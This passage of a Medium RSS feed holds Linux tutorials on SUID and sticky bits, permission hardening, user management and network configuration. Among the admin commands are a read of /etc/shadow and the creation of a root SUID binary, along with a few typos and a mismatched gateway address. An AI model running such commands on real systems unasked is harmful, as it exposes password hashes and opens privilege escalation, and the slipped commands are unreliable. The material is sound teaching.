<strong>SUID permissions</strong> so it runs as root:</li><li>sudo chmod 4755 backup_tool</li></ul><ol><li><strong>Test the Backup Tool</strong></li></ol><ul><li>./backup_tool</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sysa1ubkgfavajSkhxvbrw.jpeg" /><figcaption>If successful, it will create /tmp/home-backup.tar.gz.</figcaption></figure><p>Alternatively we can Test as dev1 using the command below:</p><p>/opt/deploy/backup_tool</p><h4>Secure Execution Policy</h4><p>Instead of granting full SUID access, restrict execution with sudoers:</p><pre>echo &quot;dev1 ALL=(ALL) NOPASSWD: /opt/deploy/backup_tool&quot; | sudo tee /etc/sudoers.d/dev1-backup</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*byJvKGcY2kLteU-NRI_sIQ.jpeg" /><figcaption>This ensures <strong>least privilege principles</strong> while allowing controlled execution.</figcaption></figure><h3>Section 5: Forensics — Detecting Misuse of Sticky/Setuid Files</h3><h3>Scenario:</h3><p>An unauthorized script (/tmp/suspicious.sh) has gained elevated privileges. To mitigate the risk:</p><h4>5.1 Investigating the File</h4><pre>ls -l /tmp/suspicious.sh<br>strings /tmp/suspicious.sh</pre><h4>5.2 Checking Logs for Unauthorized Execution</h4><pre>grep suspicious.sh /var/log/auth.log</pre><h4>5.3 Taking Immediate Action</h4><pre>chmod -s /tmp/suspicious.sh<br>rm -f /tmp/suspicious.sh</pre><p>Regular log auditing prevents privilege escalation vulnerabilities.</p><h3>Section 6: Compliance Automation Script</h3><h3>Goal:</h3><p>Automate security checks to detect <strong>special permission misconfigurations</strong>.</p><p>Write a script to check your system against special permissions misconfigurations.</p><h4>6.1 Writing the Audit Script</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9DYLo2jdhVMMd77WuU0qDA.jpeg" /></figure><h4>6.2 Running the Script</h4><pre>chmod +x audit_special_permissions.sh<br>./audit_special_permissions.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T5U_Dj1gcpBY4dtn20ydNw.jpeg" /><figcaption>This automated audit ensures <strong>consistent security policies</strong> across the system.</figcaption></figure><h3>Final Thoughts</h3><p>By applying <strong>sticky bits, SUID, and ACLs</strong>, Linux administrators can <strong>secure shared resources, mitigate privilege escalation risks, and maintain compliance</strong> in multi-user environments. Whether securing DevOps workflows, forensic investigation, or automating security audits, these techniques are indispensable in modern system hardening.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d41166db506" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MASTERING LINUX PERMISSIONS AND SECURITY: A Practical Lab for Enterprise Hardening]]></title>
            <link>https://medium.com/@onyedikachiofooha/mastering-linux-permissions-and-security-a-practical-lab-for-enterprise-hardening-4699528ed83d?source=rss-1f1ac82dce2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4699528ed83d</guid>
            <dc:creator><![CDATA[Onyedikachi Obioma Ofooha]]></dc:creator>
            <pubDate>Sat, 12 Apr 2025 17:58:38 GMT</pubDate>
            <atom:updated>2025-04-12T17:58:38.757Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*jC56DQL3eNzYzwqO-JVZ7w.jpeg" /></figure><p><strong>MASTERING LINUX PERMISSIONS AND SECURITY:</strong> A Practical Lab for Enterprise Hardening</p><p><strong>Introduction</strong><br>In today’s cloud-native, compliance-driven world, hardening Linux systems is not just recommended — it’s essential. This lab is designed to simulate a real-world security scenario where fine-grained access control, audit logging, and automation are critical. You’ll walk through applying enterprise-level security policies using chmod, ACLs, SELinux, and auditd, then automate it all using Ansible.</p><p><strong>Objectives</strong></p><p>&gt; Master Linux permissions, ACLs, umask, SELinux, and auditing tools</p><p>&gt; Establish enterprise security policies aligned with CIS Benchmarks and NIST Standards.</p><p>&gt; Automate security configurations using Ansible and Bash</p><p><strong>Setup: Building a High-Security Environment</strong></p><p>Start by creating a secure directory structure for the lab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ViYu9KFiaRAKEgxovkM_dQ.jpeg" /><figcaption>Using sudo command to create the directories ensures a controlled environment where only root has access.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ey7Z0B6lUAUoxwzWNUxUKA.jpeg" /><figcaption>This command creates files for the new directories all under the ownership of root</figcaption></figure><p><strong>Task 1: Secure Configuration Files</strong></p><p><strong>Scenario:</strong> Database credentials should only be visible to the database service.</p><pre>sudo chown mysql:mysql /opt/security-lab/configs/db.cnf<br>sudo chmod 640 /opt/security-lab/configs/db.cnf</pre><p>✅ <strong>Expected:</strong></p><pre>-rw-r----- 1 mysql mysql ... db.cnf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3JqvakC71bYGHzVU8JNvgA.jpeg" /></figure><p>✅ <strong>Why 640?</strong></p><ul><li>Owner (MySQL): read/write</li><li>Group: read</li><li>Others: no access</li></ul><p><strong>Goal:</strong> Least privilege principle — only services that need access can read it.</p><h3>Task 2: Secure Shell Scripts</h3><p><strong>Scenario:</strong> Only the deployment team can execute the deployment script.</p><pre>sudo groupadd deployteam<br>sudo chown root:deployteam /opt/security-lab/scripts/deploy.sh<br>sudo chmod 750 /opt/security-lab/scripts/deploy.sh</pre><p>✅ <strong>Expected:</strong></p><pre>-rwxr-x--- 1 root deployteam ... deploy.sh</pre><p>✅ <strong>Why 750?</strong></p><ul><li>Owner: full control</li><li>Group: read/execute</li><li>Others: no access</li></ul><p><strong>Goal:</strong> Only trusted users can run the script. Prevents tampering by unauthorized users.</p><h3>Task 3: Lock Down Logs</h3><p><strong>Scenario:</strong> Make app.log append-only. Admins can read, appuser writes.</p><pre>sudo useradd appuser<br>sudo chown appuser:adm /opt/security-lab/logs/app.log<br>sudo chmod 640 /opt/security-lab/logs/app.log<br>sudo chattr +a /opt/security-lab/logs/app.log</pre><p>✅ <strong>Expected:</strong></p><pre>-rw-r----- 1 appuser adm ... app.log</pre><pre>lsattr /opt/security-lab/logs/app.log<br>-----a----- ... app.log</pre><p>✅ <strong>Why?</strong></p><ul><li>Ensures logs can’t be tampered with — only appended to.</li></ul><h3>Task 4: Prevent File Deletion (Sticky Bit)</h3><p><strong>Scenario:</strong> Users can create backups, but only delete their own.</p><pre>sudo chmod 1777 /opt/security-lab/backups</pre><p>✅ <strong>Expected:</strong></p><pre>drwxrwxrwt 2 root root ... backups</pre><p>✅ <strong>Why?</strong><br> The <strong>sticky bit</strong> ensures only the file owner (or root) can delete files, even in world-writable directories.</p><h3>Task 5: Enforce Secure umask Defaults</h3><p><strong>Scenario:</strong> New files default to 640, directories to 750.</p><pre>umask 027<br>echo &quot;umask 027&quot; | sudo tee -a /etc/profile</pre><p>✅ <strong>Test:</strong></p><pre>touch /opt/security-lab/newfile<br>mkdir /opt/security-lab/newdir<br>ls -l /opt/security-lab/newfile<br>ls -ld /opt/security-lab/newdir</pre><p>✅ <strong>Expected:</strong></p><ul><li>Files: -rw-r-----</li><li>Directory: drwxr-x---</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N8UV5tBjS7VRrOiZVb6ROw.jpeg" /></figure><p>✅ <strong>Why?</strong><br> This default removes write permission for “others” — tightening system-wide security.</p><h3>Task 6: Grant Temporary Access (ACLs)</h3><p><strong>Scenario:</strong> devuser needs temporary read/write access to deploy.sh.</p><p>ACLs (Access Control Lists) are part of the file’s metadata, but Linux still <strong>checks basic Unix file permissions</strong> before allowing access. So even if you’re just <em>reading</em> ACLs, you need <strong>at least read (</strong><strong>r) permission</strong> on the file or <strong>execute (</strong><strong>x) permission on all parent directories</strong>.</p><pre>sudo setfacl -m u:devuser:rw /opt/security-lab/scripts/deploy.sh<br>getfacl /opt/security-lab/scripts/deploy.sh</pre><p>✅ <strong>Why?</strong><br> ACLs provide granular access control without changing the original ownership or group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dljdxs9i6R80N9ScerKLow.jpeg" /></figure><h3>Task 7: Apply SELinux Security Contexts</h3><p><strong>SELinux (Security-Enhanced Linux)</strong> uses “contexts” to define who can access what, beyond normal file permissions. Each file and process gets a <strong>security context</strong> — like a label — and SELinux rules control access based on these.</p><pre>sudo restorecon -Rv /opt/security-lab<br>sudo semanage fcontext -a -t bin_t &quot;/opt/security-lab/scripts/deploy.sh&quot;</pre><p>✅ <strong>Why?</strong><br> Ensures that SELinux policies are enforced to control how files are accessed beyond basic permissions.</p><h3>Task 8: Audit Every Access</h3><p><strong>Scenario:</strong> Log all access to critical files.</p><pre>sudo auditctl -w /opt/security-lab/configs/db.cnf -p wa -k db-config-watch<br>sudo auditctl -w /opt/security-lab/scripts/deploy.sh -p x -k deploy-script-watch</pre><p>✅ <strong>View logs:</strong></p><pre>ausearch -k db-config-watch<br>ausearch -k deploy-script-watch</pre><p>✅ <strong>Why?</strong><br> Provides forensic visibility into configuration changes and script executions.</p><h3>Automate With Ansible</h3><h4>Create the Playbook File</h4><p>Open a terminal and create a new YAML file:</p><pre>nano ansible-security.yml</pre><p>Paste the following into it:</p><pre>- name: Secure Linux Environment<br>  hosts: localhost<br>  tasks:<br>    - name: Set Secure Permissions<br>      file:<br>        path: /opt/security-lab<br>        state: directory<br>        owner: root<br>        group: root<br>        mode: 0700</pre><pre>    - name: Set File Permissions<br>      file:<br>        path: &quot;{{ item }}&quot;<br>        owner: root<br>        group: root<br>        mode: 0640<br>      with_items:<br>        - /opt/security-lab/configs/db.cnf<br>        - /opt/security-lab/logs/app.log</pre><pre>    - name: Apply SELinux Labels<br>      command: restorecon -Rv /opt/security-lab</pre><pre>    - name: Configure Auditing<br>      command: auditctl -w /opt/security-lab/configs/db.cnf -p wa -k db-config-watch</pre><p>Run the playbook:</p><pre>ansible-playbook ansible-security.yml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nd30BMCPUufRlxG75zKJ-Q.jpeg" /></figure><h3>🏁 Final Thoughts</h3><p>This lab demonstrates how to implement <strong>real-world Linux security hardening</strong> using:</p><ul><li>Classic UNIX permissions</li><li>ACLs for fine-tuned access</li><li>SELinux for policy enforcement</li><li>auditd for monitoring</li><li>Ansible for automation</li></ul><h3>Hardening Standards Applied</h3><p>This lab reflects practices aligned with enterprise security frameworks:</p><ul><li>✅ <strong>CIS Benchmarks</strong> (Linux Server Hardening): Secure permissions, auditd configuration, SELinux usage.</li><li>✅ <strong>NIST SP 800–53</strong>: Covers access control (AC), audit and accountability (AU), and system integrity (SI) standards.</li><li>✅ <strong>SOC 2 Compliance</strong>: Helps meet security and confidentiality trust principles through restricted access and logging.</li></ul><h3>🎯 Why This Lab?</h3><p>This lab simulates real-world security hardening in enterprise Linux environments:</p><ul><li>Learn how to <strong>lock down systems</strong> using standard Linux tools (chmod, chattr, setfacl, auditctl).</li><li>Apply <strong>defense-in-depth</strong> via permissions, SELinux, ACLs, and audit logging.</li><li>Automate security with <strong>Ansible</strong>, preparing for modern DevOps roles.</li><li>Ideal prep for <strong>RHCSA</strong>, <strong>RHCE</strong>, <strong>LFCS</strong>, and even <strong>OSCP</strong>.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4699528ed83d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Managing User Accounts in Linux: A Hands-On Guide]]></title>
            <link>https://medium.com/@onyedikachiofooha/managing-user-accounts-in-linux-a-hands-on-guide-61f75b5d9f22?source=rss-1f1ac82dce2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/61f75b5d9f22</guid>
            <dc:creator><![CDATA[Onyedikachi Obioma Ofooha]]></dc:creator>
            <pubDate>Thu, 13 Mar 2025 17:14:34 GMT</pubDate>
            <atom:updated>2025-03-13T17:30:24.520Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*tg2nxMNIiOqdH6xOCF5jtw.jpeg" /></figure><p>User management is a fundamental skill for system administrators, security professionals, and DevOps engineers. In this lab, we’ll explore how to manage user accounts in Linux, covering account creation, modification, and deletion. Whether you’re a beginner or a seasoned professional, this guide will help you understand essential Linux user management commands with real-world applications.</p><h3>Lab Objectives</h3><p>By the end of this lab, you will be able to:</p><ul><li>Retrieve user account information from system files.</li><li>Create new user accounts and assign appropriate permissions.</li><li>Modify existing user accounts (home directories, shells, passwords).</li><li>Delete user accounts securely.</li></ul><h3>Step 1: Viewing User Account Information</h3><p>Before creating or modifying accounts, it’s important to understand how Linux stores user information.</p><h3>Check the list of users on the system</h3><pre>cat /etc/passwd | tail -10</pre><p>The /etc/passwd file contains user account details, including usernames, home directories, and default shells.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KQACCmukDmgqJguD5yNoTA.jpeg" /><figcaption>The tail option lists the last 10 Accounts</figcaption></figure><h3>Search for a specific user</h3><pre>grep &#39;user&#39; /etc/passwd</pre><p>This command filters the /etc/passwd file to display details of a specific user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zFjbTIFd7I8nvVgq820svg.jpeg" /></figure><h3>Check password information (requires sudo access)</h3><pre>sudo cat /etc/shadow | tail -5</pre><p>The /etc/shadow file stores encrypted passwords and password expiration details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZPyqHZgriiEGRp8Jx6NuhA.jpeg" /></figure><h3>Check group membership of a user</h3><pre>id &#39;user&#39;</pre><p>This command displays the user ID (UID), group ID (GID), and groups associated with the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2EsA1JsLsyIiwt5RDI_y_g.jpeg" /></figure><h3>Step 2: Creating a New User Account</h3><h3>Create a new user named ‘student1’</h3><pre>sudo useradd -m -s /bin/bash student1</pre><ul><li>-m: Creates a home directory.</li><li>-s: Assigns the default shell (/bin/bash).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*oHaZc1hO1dModdR_DNgyGw.jpeg" /></figure><h3>Set a password for the user</h3><pre>sudo passwd student1</pre><p>The system will prompt you to enter and confirm the new password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TZwFUmBEi3gwexFwngsqzw.jpeg" /></figure><h3>Verify the account creation</h3><pre>grep student1 /etc/passwd<br>ls -ld /home/student1</pre><p>These commands confirm that the user exists and has a home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5qtloiSjbjpX3lTODjOf6A.jpeg" /></figure><h3>Step 3: Modifying User Accounts</h3><h3>Change the user’s default shell to /bin/zsh</h3><pre>sudo usermod -s /bin/zsh student1</pre><p>This updates the user’s login shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*EBtGL74-U6p1kAmVYsu96Q.jpeg" /></figure><h3>Lock a user account (prevent login)</h3><pre>sudo passwd -l student1</pre><p>Locking an account prevents the user from logging in without deleting their data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uwHf3bBf2QB48VJTgqy4eA.jpeg" /></figure><h3>Unlock the user account</h3><pre>sudo passwd -u student1</pre><p>This restores login access for the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AXUgMd_snGmickFGj7_YTA.jpeg" /></figure><h3>Change the user’s home directory</h3><pre>sudo usermod -d /home/newstudent1 student1</pre><p>This modifies the user’s home directory location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aS_KRjrRsXfOyWhUikpygA.jpeg" /></figure><h3>Step 4: Deleting User Accounts</h3><h3>Delete a user without removing their home directory</h3><pre>sudo userdel student1</pre><p>This removes the user but keeps their home directory intact.</p><h3>Delete a user and their home directory</h3><pre>sudo userdel -r student1</pre><p>This completely removes the user along with their home directory.</p><h3>Verify deletion</h3><pre>grep student1 /etc/passwd<br>ls -ld /home/student1</pre><p>These commands confirm whether the user and their home directory still exist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UqJn2YDLLtj_Nv8dKAsoiQ.jpeg" /></figure><h3>Lab Questions</h3><ul><li><strong>Where is user account information stored in Linux?</strong></li><li>User account information is stored in the /etc/passwd file. This file contains details like the username, user ID (UID), group ID (GID), home directory, and the default shell for each user.</li><li><strong>What command is used to check if a user exists on the system?</strong></li><li>The id command can be used to check if a user exists. If the user exists, it will display their UID, GID, and group memberships. If the user doesn’t exist, it will return an error.</li><li><strong>How do you assign a shell to a new user?</strong></li><li>You can specify the shell when creating a user using the -s option with the useradd command. You can also change the shell of an existing user with the chsh command.</li><li><strong>What does the /etc/shadow file store?</strong></li><li>The /etc/shadow file securely stores encrypted password hashes and other password-related information for user accounts. It also includes fields like password expiration, account lockout, and aging information.</li><li><strong>How can you lock and unlock a user account?</strong></li><li>To <strong>lock</strong> a user account: sudo passwd -l username</li><li>To <strong>unlock</strong> a user account:sudo passwd -u username</li></ul><h3>Industry Applications</h3><h3>System Administration</h3><p>Managing users in enterprise environments ensures smooth system operations and access control.</p><h3>Cybersecurity</h3><p>Proper user account management helps in hardening systems and preventing unauthorized access.</p><h3>DevOps</h3><p>Creating and managing service accounts is crucial for automation and continuous deployment pipelines.</p><h3>Conclusion</h3><p>Understanding Linux user management is essential for anyone working with Linux systems. This lab provides hands-on experience in managing users efficiently, reinforcing key skills needed in real-world IT environments. Mastering these commands will empower you to manage user accounts securely and effectively.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=61f75b5d9f22" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advanced Networking on Linux]]></title>
            <link>https://medium.com/@onyedikachiofooha/advanced-networking-on-linux-ccbec87087ea?source=rss-1f1ac82dce2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ccbec87087ea</guid>
            <dc:creator><![CDATA[Onyedikachi Obioma Ofooha]]></dc:creator>
            <pubDate>Fri, 03 Jan 2025 18:16:09 GMT</pubDate>
            <atom:updated>2025-01-03T18:16:09.735Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TduA7KxLiIVne01ru7lmbQ.jpeg" /></figure><p>The objective of this write up is to teach readers advanced networking concepts, protocols, configuration techniques, and troubleshooting on Linux systems. Readers will gain hands-on experience in network management, configuration, security, and optimization through a series of exercises that simulate real-world network environments.</p><h4>Exercise 1: Basic Linux Network Configuration(<strong>Set Up Static IP Addresses</strong>)</h4><p><strong>Objective:</strong> Understand and configure basic network settings on a Linux system.</p><ul><li><strong>Set Up Static IP Addresses:</strong> Configure static IP addresses for all VMs to ensure they have fixed addresses.</li></ul><h4>1.1 Determine Network Interface</h4><ol><li>Open a terminal on your Linux VM.</li><li>Run the following command to identify the active network interface(s):</li></ol><pre>ip link show</pre><ol><li>Look for interfaces like eth0, ens33, or similar.</li></ol><h4>1.2 Assign Static IP</h4><ul><li>Edit the network configuration file:</li></ul><pre>sudo nano /etc/sysconfig/network-scripts/ifcfg-&lt;interface_name&gt;</pre><ul><li>Add or modify the following lines:</li></ul><pre>TYPE=Ethernet BOOTPROTO=none IPADDR=&lt;Static_IP&gt; NETMASK=&lt;Subnet_Mask&gt; GATEWAY=&lt;Default_Gateway&gt; ONBOOT=yes</pre><ul><li>Example:</li></ul><pre>TYPE=Ethernet BOOTPROTO=none IPADDR=192.168.1.10 NETMASK=255.255.255.0 GATEWAY=192.168.1.1 ONBOOT=yes</pre><h4>1.3 Restart Network Service</h4><pre>sudo systemctl restart network</pre><h4>Step 2: Configure DNS and Default Gateway Settings</h4><p>Ensure that DNS servers and the default gateway are configured in the network configuration file, as shown in Step 1.</p><h4>Step 3: Verify Network Configuration</h4><p><strong>Verify Using </strong>ifconfig<strong>:</strong></p><pre>ifconfig enp0s3</pre><p>Check the output for the correct IP address, netmask, and gateway.</p><p><strong>Verify Using </strong>ip<strong>:</strong></p><pre>ip addr show enp0s3</pre><p>Ensure the IP address and netmask are correct.</p><h4>Step 4: Test Connectivity Between All VMs</h4><p><strong>Use </strong>ping<strong> to Test Connectivity:</strong></p><pre>ping 10.0.2.15<br>ping 10.0.2.2</pre><p>Confirm that the VMs can communicate with each other and the gateway.</p><h4>Outcome:</h4><p>By completing these steps, readers will learn how to configure and troubleshoot basic network settings on Linux systems, ensuring they can set up and verify static IP addresses, DNS, and default gateways.</p><h3>Exercise 2: DNS and DHCP Configuration</h3><p>Objective: Configure and troubleshoot DNS and DHCP services on Linux.</p><h4>DNS Configuration</h4><p>DNS (Domain Name System) translates human-readable domain names (like <a href="http://www.example.com)/">www.example.com)</a> into IP addresses that computers use to identify each other on the network.</p><p><strong>Key Components:</strong></p><ul><li><strong>DNS Server:</strong> Stores DNS records and resolves domain names to IP addresses.</li><li><strong>DNS Records:</strong> Types include A (Address) records, MX (Mail Exchange) records, and CNAME (Canonical Name) records.</li></ul><p><strong>Basic Steps:</strong></p><ol><li><strong>Install DNS Server Software:</strong> Such as BIND on Linux.</li><li><strong>Configure DNS Zone Files:</strong> Define domain-to-IP mappings.</li><li><strong>Start the DNS Service:</strong> Ensure the service is running to handle DNS queries.</li></ol><h3>DHCP Configuration</h3><p>DHCP (Dynamic Host Configuration Protocol) automatically assigns IP addresses and other network configurations to devices on the network.</p><p><strong>Key Components:</strong></p><ul><li><strong>DHCP Server:</strong> Assigns IP addresses to clients.</li><li><strong>DHCP Client:</strong> Receives an IP address and configuration from the server.</li></ul><p><strong>Basic Steps:</strong></p><ol><li><strong>Install DHCP Server Software:</strong> Such as ISC DHCP on Linux.</li><li><strong>Configure DHCP Server:</strong> Define IP address ranges, lease times, and other options in the configuration file.</li><li><strong>Start the DHCP Service:</strong> Ensure the service is running to assign IP addresses to devices.</li></ol><p>Together, DNS and DHCP play crucial roles in network management by simplifying IP address management and domain name resolution</p><h4>Steps: Set Up DNS Server Using BIND</h4><ol><li><strong>Install BIND (for DNS server)</strong></li></ol><pre>sudo yum install bind</pre><p><strong>Edit the Main Configuration File:</strong></p><ul><li>Open the file to add a zone configuration /etc/named.conf</li></ul><pre>sudo nano /etc/named.conf</pre><p>Add the following lines</p><pre>zone &quot;example.local&quot; {     type master;     file &quot;/etc/named/db.example.local&quot;; };</pre><p><strong>Create the Zone File:</strong> /etc/named/db.example.local</p><pre>sudo nano /etc/named/db.example.local</pre><p>Add the following DNS records:</p><pre>$TTL    604800 @       IN      SOA     ns1.example.local. admin.example.local. (                               2         ; Serial                          604800         ; Refresh                           86400         ; Retry                         2419200         ; Expire                          604800 )       ; Negative Cache TTL ; @       IN      NS      ns1.example.local. ns1     IN      A       10.0.2.15 www     IN      A       10.0.2.16</pre><p><strong>Set File Permissions:</strong></p><pre>sudo chown named:named /etc/named/db.example.local sudo chmod 644 /etc/named/db.example.local</pre><ol><li><strong>Restart BIND Service:</strong></li></ol><pre>sudo systemctl restart named</pre><p><strong>Verify DNS Resolution:</strong></p><pre>dig @10.0.2.15 www.example.local</pre><h4>Step 2: Set Up DHCP Server Using isc-dhcp-server</h4><pre>sudo dnf install dhcp-server</pre><p><strong>Configure DHCP Server:</strong></p><ul><li>Edit the main configuration file: /etc/dhcp/dhcpd.conf.</li></ul><pre>sudo nano /etc/dhcp/dhcpd.conf</pre><ul><li>Add the subnet configuration:</li></ul><pre>sudo nano /etc/dhcp/dhcpd.conf</pre><p><strong>Specify Interface for DHCP:</strong> /etc/sysconfig/dhcpd</p><pre>sudo nano /etc/sysconfig/dhcpd</pre><ul><li>Specify the interface (e.g., enp0s3):</li></ul><pre>INTERFACESv4=&quot;enp0s3&quot;</pre><p><strong>Restart DHCP Service:</strong></p><pre>sudo systemctl restart dhcpd</pre><p><strong>Verify DHCP Functionality:</strong></p><ul><li>On a client machine, use dhclient to request an IP address:</li></ul><pre>sudo dhclient enp0s3</pre><ul><li>Verify the assigned IP address using ifconfig or ip addr show.</li></ul><h4>Outcome:</h4><p>By following these steps, you should be able to configure and troubleshoot DNS and DHCP services on a Linux system</p><h3>Exercise 3: Network Routing and Subnetting</h3><p><strong>Objective:</strong> Configure network routing and subnetting on Linux systems to understand IP forwarding, static routes, and subnetting principles.</p><h4>Network Routing</h4><p>Network routing is the process of selecting the best path for data to travel from one device to another across different networks. Routers are devices that perform this task. They use routing tables and protocols (like OSPF, BGP, and RIP) to determine the most efficient route for data packets, ensuring they reach their destination quickly and reliably.</p><h4>Subnetting</h4><p>Subnetting involves dividing a larger network into smaller, more manageable sub-networks (subnets). This helps optimize the use of IP addresses and enhances network security and performance. By assigning smaller groups of IP addresses to different subnets, network traffic can be more efficiently managed, and broadcasts can be limited to specific segments, reducing congestion.</p><h4>In Summary</h4><ul><li><strong>Routing</strong> ensures data finds its way across complex networks using the best path.</li><li><strong>Subnetting</strong> divides networks into smaller parts for better management and efficiency.</li></ul><p>These concepts are fundamental to creating efficient and secure network infrastructures. We can achieve both by following the steps below.</p><h4>Step 1: Enable IP Forwarding</h4><ol><li><strong>Enable IP Forwarding Temporarily:</strong></li></ol><pre>sudo sysctl -w net.ipv4.ip_forward=1</pre><ul><li>This command enables IP forwarding immediately but will be reset after a reboot.</li></ul><p><strong>Enable IP Forwarding Permanently:</strong></p><ul><li>To make the change permanent, edit the /etc/sysctl.conf file.</li></ul><pre>sudo nano /etc/sysctl.conf</pre><ul><li>Add or uncomment the following line:</li></ul><pre>net.ipv4.ip_forward = 1</pre><ul><li>Apply the changes:</li></ul><pre>sudo sysctl -p</pre><h4>Step 2: Configure Static Routes</h4><ol><li><strong>Add a Static Route Temporarily:</strong></li></ol><ul><li>Use the ip command to add a static route.</li></ul><pre>sudo ip route add 192.168.2.0/24 via 10.0.2.2 dev enp0s3</pre><ul><li><strong>Explanation:</strong></li><li>192.168.2.0/24: Destination network.</li><li>via 10.0.2.1: Gateway to use for this route.</li><li>dev enp0s3: Network interface to use.</li></ul><p><strong>Add a Static Route Permanently:</strong></p><ul><li>Edit the network configuration file to add the static route /etc/sysconfig/network-scripts/route-enp0s3</li></ul><pre>sudo nano /etc/sysconfig/network-scripts/route-enp0s3</pre><p>Add the following</p><pre>192.168.2.0/24 via 10.0.2.1 dev enp0s3</pre><h4>Step 3: Verify Routing Configuration</h4><ol><li><strong>Check Routing Table:</strong></li></ol><pre>ip route show</pre><ul><li>Verify that the static route has been added.</li></ul><p><strong>Test Connectivity: </strong>Use ping to test connectivity to the destination network</p><pre>ping 192.168.2.1</pre><h4>Step 4: Subnetting Practice</h4><ol><li><strong>Understand Subnetting:</strong></li></ol><ul><li>Subnetting is the process of dividing a larger network into smaller, more manageable sub-networks (subnets).</li><li>Example: Dividing the 192.168.1.0/24 network into two subnets with 192.168.1.0/25 and 192.168.1.128/25.</li></ul><p><strong>Configure Subnets:</strong></p><ul><li>Assign IP addresses to interfaces based on the new subnets.</li></ul><pre>sudo ip addr add 192.168.1.1/25 dev enp0s3 sudo ip addr add 192.168.1.129/25 dev enp0s3</pre><ol><li><strong>Verify Subnet Configuration:</strong></li></ol><pre>ip addr show enp0s3</pre><ul><li>Verify that the IP addresses and subnets are correctly configured.</li></ul><h4>Outcome:</h4><p>By completing these steps, readers will understand how to enable IP forwarding, configure static routes, and practice subnetting. They will gain hands-on experience with network routing and subnetting on Linux systems.</p><h3>Exercise 4: Linux Firewall and Security (Advanced)</h3><p><strong>Objective:</strong> Configure and manage Linux firewalls using iptables, firewalld, and nftables, and understand advanced security configurations.</p><p><strong>Linux Firewall</strong>: A firewall is a system that controls incoming and outgoing network traffic based on security rules. In Linux, tools like iptables, nftables, UFW, and firewalld are used to manage firewall rules. They help protect your system by filtering network packets and blocking unwanted traffic.</p><p><strong>Linux Security</strong>: Security in Linux involves measures to protect the system from unauthorized access and threats. Key practices include:</p><ul><li><strong>Regular Updates</strong>: Keeping software up-to-date to patch vulnerabilities.</li><li><strong>User Management</strong>: Limiting permissions and using strong passwords.</li><li><strong>SSH Hardening</strong>: Enhancing SSH security by disabling root login and using key-based authentication.</li><li><strong>Security Tools</strong>: Using tools like Fail2Ban to block malicious IPs and SELinux/AppArmor for access control.</li></ul><p>These combined efforts ensure a secure and resilient Linux environment.</p><h4>Using iptables for Firewall Configuration</h4><ol><li><strong>Install iptables:</strong></li></ol><pre>sudo yum install iptables-services</pre><p><strong>Basic iptables Commands:</strong></p><ul><li><strong>List Rules:</strong></li></ul><pre>sudo iptables -L -v -n</pre><ul><li><strong>Allow Incoming SSH Connections:</strong></li></ul><pre>sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT</pre><ul><li><strong>Block Incoming Traffic from a Specific IP:</strong></li></ul><pre>sudo iptables -A INPUT -s 192.168.1.100 -j DROP</pre><ul><li><strong>Save iptables Rules:</strong></li></ul><pre>sudo service iptables save</pre><p><strong>Advanced iptables Rules:</strong></p><ul><li><strong>Limit Connection Rate:</strong></li></ul><pre>sudo iptables -A INPUT -p tcp --dport 80 -m limit --limit 25/minute --limit-burst 100 -j ACCEPT</pre><ul><li><strong>Port Forwarding:</strong></li></ul><pre>sudo iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.50:80 sudo iptables -t nat -A POSTROUTING -p tcp -d 192.168.1.50 --dport 80 -j MASQUERADE</pre><h4>Step 2: Using firewalld for Dynamic Firewall Management</h4><ol><li><strong>Install firewalld:</strong></li></ol><pre>sudo yum install firewalldsh</pre><ol><li><strong>Start and Enable firewalld:</strong></li></ol><pre>sudo systemctl start firewalld sudo systemctl enable firewalld</pre><p><strong>Check firewalld Status:</strong></p><pre>sudo firewall-cmd --state</pre><ul><li><strong>Allow a Service:</strong></li></ul><pre>sudo firewall-cmd --permanent --add-service=http sudo 